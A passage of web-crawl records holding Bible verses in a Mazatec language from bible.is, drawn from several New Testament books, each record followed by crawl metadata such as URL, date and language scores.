jngoò k'a jchi̱ja. 12 'Jñà nchra̱já xi te ma-ne xi kà'yi, jñà ngaya-la̱ xi̱ta̱xá ítjòn xi te ma-ne xi kj'eè kiì tjoé-la̱ kjo̱tíxoma. Ta̱nga k'e̱ nga tjoé-la̱ kjo̱tíxoma ta jngoò hora ko̱tìxoma-kjoò ko̱ jè cho̱ je xi ch'o kji. 13 Jñà xi̱ta̱xá ítjòn xi te ma-ne, ta̱jngoó kjo̱hítsjeèn tjín-la̱ nga jè cho̱ je xi ch'o kji si̱ìngatsja̱ nga'ñó-la̱ ko̱ kjo̱tíxoma-la̱. 14 I̱kjoàn ska̱àn-ko̱ jè Orrè, ta̱nga jè Orrè si̱ìkìjne-né. Nga jè-né xi otíxoma-la̱ jñà xi̱ta̱ xi otíxoma, ko̱ Xi̱ta̱xá Ítjon-la̱á ma jñà xi xi̱ta̱xá ítjòn títsa̱jna. Jñà xi̱ta̱ xi títsa̱jnako̱, xó kinokjoà-la̱, xó kitjaájiìn-ne, ko̱ kixi̱ síkitasòn-la̱. 15 Jè àkja̱le̱ k'oa̱á ti kitsò-na: —Jè nandá xi kà'yi, ñánda tíjnandiì chjo̱ón chijngui, na̱xa̱ndá-né, xi̱ta̱ kjín-né, jñá-né xi̱ta̱ xi tjín nga ìjngoò ìjngoò nangui xi tjín i̱sò'nde, koa̱ jñá-né xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín i̱sò'nde. 16 Jñà nchra̱já xi te ma-ne xi kà'yi, ko̱ jè cho̱ je xi ch'o kji xi kà'yi, si̱ìjtike-né jè chjo̱ón chijngui, kjoa̱à'an yije-la̱ ska̱nda jñà nikje-la̱, si̱ikájna laká-né. Yijo-la̱ ski̱ne-né. I̱kjoàn ya̱á ko̱kájiìn ni'ín. 17 Nainá k'oa̱ás'ín tsibíjiìn kjo̱hítsjen-la̱ jñà xi̱ta̱ koi nga koa̱s'ín si̱ìkitasòn koni s'ín mejèn-la̱ Nainá. Jè kjo̱tíxoma xi tjín-la̱ xi̱ta̱ koi tíjngoò ikon nga jè cho̱ ts'e̱n ko̱nga̱tsja, skanda k'e̱ nga ki̱tasòn yije 'én xi kiìchja̱ Nainá. 18 Jè chjo̱ón xi kà'yi, jè-né na̱xa̱ndá je xi otíxoma-la̱ jñà xi̱ta̱xá ítjòn xi tjín i̱sò'nde.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/17","date":"2013-05-22T17:42:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702127714\/warc\/CC-MAIN-20130516110207-00020-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999952316,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999995231628418}","num_words":611,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pedro 2:1\n1 Ya̱ i̱jiìn na̱xa̱ndá Israel kis'e xi̱ta̱ ndiso xi kitsò nga 'én-la̱ Nainá kiìchja̱ya, ta̱nga mìtsà kixi̱ kjoa̱. I̱t'aà tsa̱jòn, k'oa̱á ti̱s'ín s'e̱ xi̱ta̱ ndiso xi ko̱kòya'ma kjo̱hítsjeèn xi síkits'ón-jiìn-la̱ xi̱ta̱ na̱xa̱ndá-la̱ Nainá, skanda ko̱chrjengui jè Na̱'èn-ná xi tsibíchjítji-ná. K'oa̱á ma-ne nga jñà xi̱ta̱ koi, ti̱ jñá nchihótsji-la̱ kjoa̱biya yijo-la̱ nga ta ni̱to̱ón jchi̱ja.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/1","date":"2013-05-21T18:07:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700380063\/warc\/CC-MAIN-20130516103300-00084-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9997537732,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9997537732124329}","num_words":73,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corintios 8:11\n11 Kjo̱hítsjeèn-la̱ xi̱ta̱ jè nga tsò nga maá chine yije ni̱ta̱mé-ne, koií kjoa̱-la̱ nga kjo̱'in si̱ìkjeiín jè 'ntsè xi indaàjiìn tjín kjo̱hítsjeèn-la̱ xi Cristo k'en nga̱jo̱-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/11","date":"2013-05-18T09:04:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696381630\/warc\/CC-MAIN-20130516092621-00087-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9982581139,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.998258113861084}","num_words":45,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:38\n38 Kiìchja̱ Juan, kitsò: —Maestro, jngoò xi̱ta̱ ki'ya-je̱n xi i̱t'aà tsijin ochrjekàjiìn ini̱ma̱ ch'o-la̱ nei̱í ini̱ma̱-la̱ xi̱ta̱. Ta̱nga mìtsà xi̱ta̱ tsa̱ján; mì kiì kits'iì'nde-la̱je̱n.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/38","date":"2013-05-23T20:51:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703788336\/warc\/CC-MAIN-20130516112948-00023-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9990274906,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9990274906158447}","num_words":44,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ndí 'ntsè ko̱ tichjaá, i̱'ndei̱ jè kéno̱jmí-nòje̱n kó s'ín ko̱ma k'e̱ nga kjoií ìjngoò k'a Jesucristo xi otíxoma-ná ko̱ k'e̱ nga ya̱ ko̱xkóyat'aà-lá. K'oa̱á ma-ne bitsi'ba-nòje̱n 2 tsà yá xi̱ta̱ xi ki̱tso̱-nò nga jyeé j'iì ìjngoò k'a Jesucristo, kì tà ni̱to̱ón mokjeiín-nò; kì tsakjòn-là tsa yá xi̱ta̱ xi ki̱tso̱-nò: k'oa̱á tsò 'én-la̱ Nainá xi kjònga̱tsja Pablo; k'oa̱á s'ín chja̱ya, ko̱ k'oa̱á s'ín kisìkasén jngoò xo̱jo̱n. 3 Kì yá xi̱ta̱ xi kona̱cha̱n-nò. Nga jè na̱chrjein k'e̱ nga o̱ko̱ma, ítjòn s'e̱ na̱chrjein nga jñà xi̱ta̱, 'ñó kondra̱ kítsa̱jna-la̱ Nainá. I̱kjoàn ta ni̱to̱ón ko̱tsijèn jè xi̱ta̱ xi 'ñó ch'o s'i̱in, jè xi tjínè-la̱ nga kjo̱'in si̱ìkjei̱ín ni̱ta̱ kjé-ne. 4 Xi̱ta̱ jè, jè xi kondra̱ kíjna-la̱ ngats'iì xi Nainá tsò-la̱ xi̱ta̱ ko̱ ni̱ta̱mé isa̱-ne xi beèxkón nga jè mejèn-la̱ kíjna ítjòn. Skanda ya̱á kíjnaya i̱ngo̱ ítjòn-la̱ Nainá koni tsà jè sobà Nainá, k'oa̱á ki̱tso̱-la̱ yijo-la̱ nga Nainá jè. 5 ¿A mì bítsjeèn-nò k'e̱ nga sa ya̱ tsohótijnako̱-nò k'oa̱á kixan-nò nga k'oa̱á s'ín ko̱ma? 6 I̱'ndei̱ jye tíjiìn-nò mé kjoa̱ xi bichjoa ikòn-la̱ xi̱ta̱ jè nga mì xátí 'fiì; skanda k'e̱é kjoi̱í k'e̱ nga kichóya na̱chrjein-la̱. 7 Jè nga'ñó-la̱ kjoa̱ch'o, jyeé tísíxá'ma i̱ i̱sò'nde, ta̱nga tíjna jngoò xi tíjna ikòn nga mì kiì tsjá'nde ko̱ ta jè chija nga tjáxìn. 8 Ko̱ i̱kjoàn k'e̱é ko̱tsejèn jè xi̱ta̱ xi ch'o s'ín. Ta̱nga Jesucristo xi otíxoma, ta jngoò 'én ki̱chja̱ nga tsjá-la̱ kjo̱'in ni̱ta̱kjé-ne. Tà ma tà jé nga ote kji nga kjoi̱í, jngoò k'a kjoa̱áxìn nga'ñó-la̱. 9 K'e̱ nga kjoi̱í jè xi̱ta̱ xi ch'o s'ín, jè xi̱ta̱ nei̱í tsjá-la̱ nga'ñó nga kjìn ska̱ya kjo̱xkón ko̱ko xi mì tsà kixi̱ kjoa̱. 10 Si̱ìkjeén yije kjoa̱ xi ch'o tjín nga skóna̱cha̱n-la̱ xi̱ta̱ xi kjo̱'in si̱ikjei̱ín ni̱ta̱kjé-ne, koií kjoa̱-la̱ nga jñà xi̱ta̱ koi mì kiì matsjakeè xi kjoa̱ kixi̱ xi ma ki̱tjokàjiìn-ne kjo̱'in kjoa̱ ts'e̱ jé-la̱. 11 K'oa̱á ma-ne Nainá tsjá'nde-né nga tíjna jngoò xi skóna̱cha̱n-la̱ xi̱ta̱ koi, mé-ne kàtakjeiín-la̱ kjoa̱ ndiso, 12 nga kàtas'e-la̱ kjo̱'in ngats'iì xi mì kiì mokjeiín-la̱ kjoa̱ kixi̱. Nguì ta kjoa̱ ch'oó sasén-la̱. 13 Ndí 'ntsè ko̱ ndí tichjaá, mochjeèn-né nga kjit'aà na̱chrjein 'bi-la̱je̱n kjo̱ndaà Nainá xi i̱t'aà tsajòn xi 'ñó matsjake-nò Na̱'èn-ná, nga xó k'oa̱ás'ín jaàjiìn-nò Nainá kóni nga ti̱sa̱ tats'e̱n-la̱ kjoa̱, mé-ne nga ki̱tjokájñò-nò kjo̱'in, nga jè Ini̱ma̱ Tsjeè-la̱ Nainá sítsjeèya-nò ko̱ nga ndaà mokjeiín-nò xi kjoa̱ kixi̱. 14 Xó k'oa̱á s'ín kiìchja̱-nò Nainá i̱t'aà ts'e̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi nga̱je̱n nokjoàya-je̱n, mé-ne nga jñò, ti̱koa̱ s'e̱-nò kjoa̱jeya-la̱ Jesucristo, jè xi otíxoma-ná. 15 Ndí 'ntsè ko̱ tichjaá, k'oa̱ás'ín kixi̱ titsa̱jnaà. Kì nijchajiìn-jèn jñà 'én kixi̱-la̱ Cristo xi ngaje̱n kinìkatoya-nòje̱n, jñà xi ta 'én kinokjoà-nòje̱n ko̱ xi xo̱jo̱n carta tsakoòya-nòje̱n. 16 'A̱n síjét'aà-la̱ Jesucristo, jè xi otíxoma-ná ko̱ jè Nainá xi Na̱'èn-ná, jè xi 'ñó matsjake-ná nga tsjá-ná kjoa̱jetakon-la̱ xi mì kiì kjoe̱hit'aà, ko̱ tsjá kjo̱tjò-ná kjo̱ndaà-la̱ nga tíjngoò takoán nga titsa̱chiñá-lá. 17 K'oa̱á s'ín síjét'aà-la̱ nga ìsa̱ tsee nga'ñó kàtatsjá-la̱ ini̱ma̱-nò mé-ne nga isa̱ kixi̱ ki̱tsa̱jnaà koni s'ín 'nè kjoa̱ xi ndaà tjín ko̱ koni s'ín nokjoà 'én xi ndaà tsò.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Thess\/2","date":"2013-06-18T06:00:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706961352\/warc\/CC-MAIN-20130516122241-00004-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":477,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 K'e̱ nga k'oa̱'mì-nòje̱n kjoa̱ koi, ¿a bìts'ia ìjngoò k'a-je̱n nga ndaà nìkítsa̱jna-je̱n yijo-naje̱n? Jñò, ¿a k'oa̱á s'ín nìkítsjeèn nga mì kiì tjí'nde-na nga ma si̱ìxá tsa tsjìn-na xo̱jo̱n xi jñò k'oi̱-ná o xi kj'eií xi̱ta̱ tsjá-na koni s'ín síjé xi̱ta̱ xi kj'eií? 2 Majìn, jñò sobà-nò xi xo̱jo̱n-naje̱n ma xi tíjiìn i̱jiìn ini̱ma̱-naje̱n. Ngats'iì xi̱ta̱ beè-né koa̱ bíxke̱jiìn-né. 3 K'oa̱ás'ín ndaà 'ya-je̱n nga jñò-nò xi koni xo̱jo̱n-la̱ Cristo xi i̱t'aà tsaje̱n kitjei. Jngoò xo̱jo̱n carta xi mìtsà tinta kitjei-ne, ko̱ó Ini̱ma̱ Tsjeè-la̱ Nainá xi tíjnakon kitjei-ne; mìtsà ndo̱jo̱ kitjeit'aà, ya̱á kitjeit'aà yijo ini̱ma̱-la̱ xi̱ta̱. 4 Kjoa̱ koi, k'oa̱ás'ín makixi̱ya nga i̱t'aà ts'e̱ Cristo mokjeiín-naje̱n i̱t'aà ts'e̱ Nainá. 5 Xi ta nga'ñó tsaje̱n tsjìn-naje̱n kjo̱hítsjeèn mé xi s'e̱n-je̱n. Ta̱nga jè Nainá tsjá-naje̱n kjo̱hítsjeèn k'e̱ nga mé xi 'nè-je̱n. 6 Jè Nainá tsjá-naje̱n kjo̱hítsjeèn nga chi̱'nda-la̱ ma-je̱n mé-ne nga ko̱ma ki̱nókjoa̱ya-naje̱n i̱t'aà ts'e̱ kjo̱ndaà xi̱tse̱ xi Nainá tsibíndaàjiìnko̱ jñà xi̱ta̱. Mìtsà kjoa̱ ts'e̱ kjo̱tíxoma xi xo̱jo̱n tjít'aà, ts'e̱é Ini̱ma̱ Tsjeè-la̱ Nainá. Jè kjoa̱ xi ts'e̱ kjo̱tíxoma sík'en-ná nga nguixko̱n Nainá, ta̱nga jè Ini̱ma̱ Tsjeè-la̱ Nainá síkíjnakon-ná. 7 Jè kjo̱tíxoma xi kitjoé-la̱ Moisés xi ndo̱jo̱ kitjeit'aà, kjoa̱ biyaà j'iìko̱. Ta̱nga k'e̱ nga sa kitjoé ítjòn-la̱ kjo̱tíxoma jè, k'oa̱ás'ín ki'ya-la̱ kjoa̱ jeya-la̱ Nainá. Jè Moisés, k'e̱ nga j'iì-ne nga kiì mijìnjno nindoò, jñà xi̱ta̱ Israel mì kiì komà kiskoò'an Moisés nga 'ñó ote ni'ín kji isén-la̱; ta̱nga xi komà i̱skan, chaán kichijà xi ote kji isén-la̱. Tsà k'oa̱s'ín kis'e-la̱ kjoa̱jeya, jè kjoa̱ xi tjíne-la̱ nga chija, 8 ìsa̱ jeya tjín kjo̱ndaà xi̱tse̱ xi tsjá-ná Nainá k'e̱ nga tsjá-ná Ini̱ma̱ Tsjeè-la̱. 9 Nga jeya j'iì jè kjo̱tíxoma xi kjoa̱ biyaà tsibínè-ná, ìsa̱á 'ñó jeya ki̱tasòn 'én xi nokjoáya-je̱n nga xi̱ta̱ kixi̱ síkítsa̱jna-ná Nainá. 10 Na̱s'ín 'ñó kis'eè-la̱ kjoa̱ jeya jè kjo̱tíxoma xi jye tsato, ta̱nga mì kiì mangásònko̱ jè kjoa̱jeya xi tjín-la̱ kjo̱ndaà xi̱tse̱; ìsa̱á 'ñó jeya tíjna. 11 Tsà jè kjoa̱ xi tíchijangui kis'eè-la̱ kjoa̱ jeya, ìsa̱á jeya tjín kjoa̱ xi̱tse̱ xi mì ti̱ kiì chi̱ja-ne ni̱ta̱ kjé-ne. 12 Nga tíjngoò takón-je̱n nga titsa̱chiñà-laje̱n kjoa̱ koi, k'oa̱á ma-ne nga mì kiì masobá-naje̱n nga nokjoá-je̱n. 13 Mìtsà k'oa̱s'ín 'nè-je̱n koni kis'iìn Moisés nga nikje tsibíjtsa isén-la̱, mé-ne nga jñà xi̱ta̱ Israel mì kiì komà kiskoò'an-ne nga jye tíchijangui xi ote kji isén-la̱. 14 Ta̱nga jñà xi̱ta̱ Israel kjòtájajiín kjo̱hítsjeèn-la̱. Skanda na̱chrjein i̱'ndei̱, k'e̱ nga bíxke̱jiìn Xo̱jo̱n-la̱ Nainá xi tjít'aà kjoa̱ jchínga xi tsibíndaàjiìn-ko̱ xi̱ta̱, tókó k'oa̱ás'ín ma-la̱ koni tsà nikje xo̱ba̱ kijtsa kjo̱hítsjeèn-la̱. Ta̱ jngoó i̱t'aà ts'e̱ Cristo ko̱ma tjáxìn nikje jè. 15 Ska̱nda na̱chrjein i̱'ndei̱, jñà xi̱ta̱ Israel, k'e̱ nga bíxke̱jiìn xo̱jo̱n xi kiskiì Moisés, tákó k'oa̱ás'ín ma-la̱ koni tsà nikje xo̱ba̱ tíjtsa'ma kjo̱hítsjeèn-la̱. 16 Ta̱nga k'e̱ nga jngoò xi̱ta̱ síkjahatjíya-la̱ kjo̱hítsjen-la̱ nga fìt'aà-la̱ Na̱'èn-ná xi otíxoma-ná, tjaxín-la̱ nikje xo̱ba̱ xi tíjtsa'ma kjo̱hítsjeèn-la̱. 17 Nga̱ jè Na̱'èn-ná, jè sobà-né xi Ini̱ma̱ Tsjeè-la̱ Nainá. Ya̱ ñánda tíjna Ini̱ma̱-la̱ Na̱'èn-ná, jñà xi̱ta̱ títsa̱jnandeií-né kjoa̱ ts'e̱ kjo̱tíxoma. 18 Ngats'iaá jñá mì ti̱ nikje xo̱ba̱ títsa'ma-ne kjo̱hítsjen-ná. I̱t'aà tsa̱ján k'oa̱ás'ín ngaya-la̱ koni jngoò chi̱tsín xi ma chitsejèn-ya̱á xi okó kjoa̱ jeya-la̱ Na̱'èn-ná. Kjit'aà na̱chrjein isa̱ jeya tíhotsején koni kji Na̱'èn-ná nga jè Ini̱ma̱ Tsjeè-la̱ tísíkjatjiya-ná.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/3","date":"2013-06-19T00:41:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707437545\/warc\/CC-MAIN-20130516123037-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999854565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999854564666748}","num_words":490,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:39\n39 Jè xi̱ta̱ fariseo xi kiìchja̱-la̱ Jesús, k'e̱ nga kijtseè kjoa̱ koi, kitsò i̱jiìn ini̱ma̱-la̱: \"¿Mé-ne nga mì kiì beèxkon-ne yá chjo̱ón-ne xi o̱tísíko̱? Tsà kixi̱ kjoa̱ nga jè xi̱ta̱ xi chja̱ ngajo-la̱ Nainá, skoe̱xkon-né nga chjo̱ón xi jé tjín-la̱.\"\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/39","date":"2013-05-24T10:42:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704590423\/warc\/CC-MAIN-20130516114310-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9981610179,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9981610178947449}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 An Pablo, tíkji-le xo̱jo̱n jè. Nga an tsibíxáya-na Jesucristo nga k'oa̱á s'ín kjòmejèn-la̱ Nainá. K'oa̱á s'ín kitsjaà tso'ba Nainá nga kíjnakon ini̱ma̱-ná i̱t'aà ts'e̱ Cristo Jesús. 2 Ngaji̱ Timoteo xi 'ñó matsjakeè-lè koni tsà ki'ndí ts'a̱n xan-lè, Nainá xi Na̱'èn-ná ko̱ Na̱'èn-ná Jesucristo kàtatsjá-lè kjo̱ndaà, kàtahi̱ma̱keè-lè, kàtas'e-la̱ kjoa̱'nchán i̱jiìn ini̱ma̱-lè. 3 Mì kiì jcha̱hajiìn-na ko̱ na̱chrjein ko̱ ni̱tje̱n bìtsi'batjì-lè ti̱koa̱ tsjaà-la̱ kjo̱ndaà Nainá, jè xi an bexkoán koni s'ín kijtseèxkón jñà xi̱ta̱ jchínga-na̱ nga nguiì tsjeè tjín kjo̱hítsjeèn-na̱. 4 K'e̱ nga bítsjeèn-na kjoa̱ ts'e̱ ndáxkoiìn mejèn-na nga skoeè ìjngoò k'a-lè mé-ne nga ko̱tsja-la̱ ini̱ma̱ -na̱. 5 Bítsjeèn-na nga nguiì ndaà mokjeiín-lè i̱t'aà ts'e̱ Cristo koni s'ín kòkjeiín ítjòn-la̱ nea̱ájchá-lè Loida ko̱ nea̱-lè Eunice. An k'oa̱á s'ín makixi̱-na nga ngaji̱ ti̱koa̱ ndaà mokjeiín-lè. 6 Koií k'oa̱ s'ín tìsìkítsjeèn-lè nga ìsa̱ ndaà ti̱kjiín kjo̱tjò xi kitsjaà-lè Nainá nga ndaà ti̱xá-la̱, jè kjo̱tjò xi kitjoé-lè k'e̱ nga an tsakàsòn-lè ntsa̱a. 7 Nainá, mì tsà ini̱ma̱ tsakjón kitsjaà-ná. Jè kitsjaà-ná Ini̱ma̱ Tsjeè-la̱ nga tsjá-ná nga'ñó, nga tsjá-ná kjoa̱tjòchaà, nga tsjá-ná kjo̱hítsjeèn kós'ín s'e̱én nga kixi̱ si̱jchá yijo-ná. 8 Koií kjoa̱-la̱ kì masobà-lè nga nokjoákoi̱i xi̱ta̱ i̱t'aà ts'e̱ Na̱'èn-ná Jesucristo. Ti̱koa̱ kì masobà-lè xi i̱t'aà ts'a̱n nga nda̱yá tíjna'ya koií kjoa̱-la̱ nga ya̱ siìxát'aà-la̱ Na̱'èn-ná. Ti̱kjeiín-ko̱-ná kjo̱'in xi i̱t'aà ts'e̱ én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Jè Nainá tsjá-lè nga'ñó xi ko̱chjeén-lè. 9 Nainá, jyeé tsachrjekàjiìn-ná kjo̱'in. K'oa̱á s'ín kiìchja̱-ná nga tsjeè si̱jchá yijo-ná. Mì tsà koi kjoa̱-la̱ nga ndaà ki'nè. Koi-né nga k'oa̱ s'ín kjòmejèn-la̱ Nainá ti̱koa̱ kitsjaà-ná kjo̱ndaà-la̱ xi i̱t'aà ts'e̱ Cristo skanda tis'a̱ tàts'en-la̱ kjoa̱ k'e̱ nga ti̱ kj'eè sindaà i̱sò'nde. 10 I̱'ndei̱ Nainá jyeé tsakó kjo̱ndaà-la̱ nga jye j'iì Jesucristo xi ochrjekàjiìn-ná kjo̱'in. Jaàxìn-ná nga'ñó-la̱ kjoa̱biyaà. Xi i̱t'aà ts'e̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo, tsakó-ná kjoa̱bijnachoòn ti̱koa̱ tsakó-ná nga mì tsà jngoò k'a ki̱yá ni̱ta̱ kjé-ne. 11 Nainá, aán kisìnga̱tsja-na xá jè nga an kichjàya 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo. tsibíxáya-na i̱t'aà ts'e̱ xá-la̱ nga an ko̱koòya-la̱ jñà xi mì tsà xi̱ta̱ judío. 12 Tse kjo̱'in tìsìkjiaán tà jè nga̱tjì-la̱ 'én xi an chjàya. Ta̱nga mì kiì masobà-na. Jyeé tíjiìn-na nga i̱t'aà ts'e̱ Cristo mokjeiín-na. Ti̱koa̱á ndaà tíjiìn-na nga ta̱ jngoò jè Nainá xi tjín-la̱ nga'ñó. Ndaà si̱ìkinda̱ jè xá xi an kisìnga̱tsja-na skanda jè na̱chrjein k'e̱ nga kjoi̱í ìjngoò k'a-ne Jesucristo. 13 Ndaà tíjiìn takoìn 'én ndaà xi an tsakoòya-lè koni s'ín tjín 'én xi mokjeiín-ná ko̱ kjoa̱tjòchaà xi tjín-ná nga Cristo titsa̱jnakoa̱á. 14 Ndaà ti̱kitasoìn xá ndaà xi ji kjònga̱tsjei. Jè si̱ìchját'aà-lè Ini̱ma̱ Tsjeè-la̱ Nainá xi tíjnajiìn ini̱ma̱-ná. 15 Jyeé tíjiìn-lè ngats'iì xi títsa̱jna nangui Asia, jye kitsjeiìn takòn-na, koni jè Figelo ko̱ Hermógenes. 16 Nainá kàtahi̱ma̱keè xi̱ta̱ ni'ya-la̱ Onesíforo. Kjìn k'a j'iì síjehikon-na. Mì kiì kjòsobà-la̱ na̱s'ín nda̱yá tíjna'ya. 17 Tà sa̱á, k'e̱ nga j'iì i̱ Roma skanda mì kiì kisìkjáya nga 'ñó tsohótsji-na skanda kó nga kisakò-la̱ ñánda tijna̱a. 18 Na̱'èn-ná kàtahi̱ma̱keè jè Onesíforo k'e̱ nga ki̱jchò na̱chrjein-la̱ Nainá. Ngaji̱ jyeé ndaà tíjiìn-lè, ndaà kisìchját'aà-ná ján Éfeso.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1","date":"2013-05-22T02:28:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701153213\/warc\/CC-MAIN-20130516104553-00062-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000042915344238}","num_words":468,"character_repetition_ratio":0.071,"word_repetition_ratio":0.004,"special_characters_ratio":0.227,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 13:11\n11 K'e̱ nga koa̱s'ín s'eén yijeé kjoa̱ koi, jcha̱-ná na̱chrjein i̱'ndei̱ mé kjoa̱ xi tíma nga jye ijchò chi̱ba̱-la̱ nga sikjaà-lá yijo-ná nga titsafè. Jye 'ñó kjòchrañàt'aà na̱chrjein nga ki̱tsa̱jna'ndia̱á kjoa̱ ts'e̱ jé-ná, mì k'oa̱á-ne koni k'e̱ nga sa kòkjeiín-ná.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/13\/11","date":"2013-05-21T19:42:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700477029\/warc\/CC-MAIN-20130516103437-00020-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.996997416,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9969974160194397}","num_words":59,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Juan 3:19\n19 K'e̱ nga k'oa̱s'ín titsa̱'né, k'e̱é jcha̱-ná nga kixi̱ kjoa̱ nga k'oa̱á s'ín titsa̱nìjchá yijo-ná koni s'ín tjín kjoa̱ kixi̱-la̱ Nainá ko̱ 'nchán nìkíjnaá ini̱ma̱-ná nga nguixko̱n Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/19","date":"2013-06-19T08:41:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708145189\/warc\/CC-MAIN-20130516124225-00009-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9858144522,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9858144521713257, \"maj_Latn_score\": 0.012225218117237091}","num_words":47,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filipenses 3:10\n10 Mejèn-na̱ nga ìsa̱ ndaà skoexkoan Cristo; skoe nga'ñó xi tjín-la̱ nga jaáya-la̱ i̱t'aà ts'e̱ 